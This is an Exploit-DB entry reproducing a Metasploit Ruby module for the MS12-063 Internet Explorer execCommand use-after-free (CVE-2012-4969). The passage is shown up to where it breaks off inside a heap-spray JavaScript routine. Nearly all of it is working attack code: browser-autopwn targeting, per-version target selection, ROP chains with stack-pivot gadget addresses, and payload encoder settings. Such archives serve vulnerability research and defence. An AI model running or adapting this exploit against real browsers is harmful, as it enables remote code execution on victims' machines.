Exploit-DB #21840
Description: Microsoft Internet Explorer - execCommand Use-After-Free (MS12-063) (Metasploit)
Type: remote
Platform: windows
Date: 2012-10-10
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb
	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "7.0",
		:ua_maxver  => "9.0",
		:javascript => true,
		:rank       => GoodRanking
	})

	def initialize(info={})
		super(update_info(info,
			'Name'           => "MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability ",
			'Description'    => %q{
				This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When
				rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner,
				but the same memory is reused again later in the CMshtmlEd::Exec() function, leading
				to a use-after-free condition.

				Please note that this vulnerability has been exploited in the wild since Sep 14 2012.

				Also note that presently, this module has some target dependencies for the ROP chain to be
				valid. For WinXP SP3 with IE8, msvcrt must be present (as it is by default).
				For Vista or Win7 with IE8, or Win7 with IE9, JRE 1.6.x or below must be installed (which
				is often the case).
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'unknown',     # via ZDI
					'eromang',     # First public discovery
					'binjo',
					'sinn3r',      # Metasploit
					'juan vazquez' # Metasploit
				],
			'References'     =>
				[
					[ 'CVE', '2012-4969' ],
					[ 'OSVDB', '85532' ],
					[ 'MSB', 'MS12-063' ],
					[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2757760' ],
					[ 'URL', 'http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/' ],
					[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/09/17/ie-execcommand-fuction-use-after-free-vulnerability-0day/'],
					[ 'URL', 'http://metasploit.com' ]
				],
			'Payload'        =>
				{
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
				},
			'DefaultOptions'  =>
				{
					'ExitFunction'         => "none",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 7 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5fa', 'Random' => false } ],
					[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Random' => false } ],
					[ 'IE 7 on Windows Vista',  { 'Rop' => nil,     'Offset' => '0x5fa', 'Random' => false } ],
					[ 'IE 8 on Windows Vista',  { 'Rop' => :jre,    'Offset' => '0x5f4', 'Random' => false } ],
					[ 'IE 8 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x5f4', 'Random' => false } ],
					[ 'IE 9 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x5fc', 'Random' => true } ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Sep 14 2012",  # When it was spotted in the wild by eromang
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)

	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

		ie_name = "IE #{ie}"

		case nt
		when '5.1'
			os_name = 'Windows XP SP3'
		when '6.0'
			os_name = 'Windows Vista'
		when '6.1'
			os_name = 'Windows 7'
		end

		targets.each do |t|
			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
				vprint_status("Target selected as: #{t.name}")
				return t
			end
		end

		return nil
	end

	def junk(n=4)
		return rand_text_alpha(n).unpack("V")[0].to_i
	end

	def nop
		return make_nops(4).unpack("V")[0].to_i
	end

	def get_payload(t, cli)
		code = payload.encoded

		# No rop. Just return the payload.
		return code if t['Rop'].nil?

		# Both ROP chains generated by mona.py - See corelan.be
		case t['Rop']
		when :msvcrt
			print_status("Using msvcrt ROP")
			exec_size = code.length
			stack_pivot = [
				0x77c4e393, # RETN
				0x77c4e392, # POP EAX # RETN
				0x77c15ed5, # XCHG EAX, ESP # RETN
			].pack("V*")
			rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})

		else
			print_status("Using JRE ROP")
			exec_size = 0xffffffff - code.length + 1
			if t['Random']
				stack_pivot = [
					0x0c0c0c0c, # 0c0c0c08
					0x7c347f98, # RETN
					0x7c347f97, # POP EDX # RETN
					0x7c348b05  # XCHG EAX, ESP # RET
				].pack("V*")
			else
				stack_pivot = [
					0x7c347f98, # RETN
					0x7c347f97, # POP EDX # RETN
					0x7c348b05  # XCHG EAX, ESP # RET
				].pack("V*")
			end
			rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
		end

		return rop_payload
	end

	# Spray published by corelanc0d3r
	# Exploit writing tutorial part 11 : Heap Spraying Demystified
	# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
	def get_random_spray(t, js_code, js_nops)

		spray = <<-JS

		function randomblock(blocksize)
		{
			var theblock = "";
			for (var i = 0; i < blocksize; i++)
			{
				theblock += Math.floor(Math.random()*90)+10;
			}
			return theblock;
		}

		function tounescape(block)
		{
			var blocklen = block.length;
			var unescapestr = "";
			for (var i = 0; i < blocklen-1; i=i+4)
			{
				unescapestr += "%u" + block.substring(i,i+4);
			}
			return unescapestr;
		}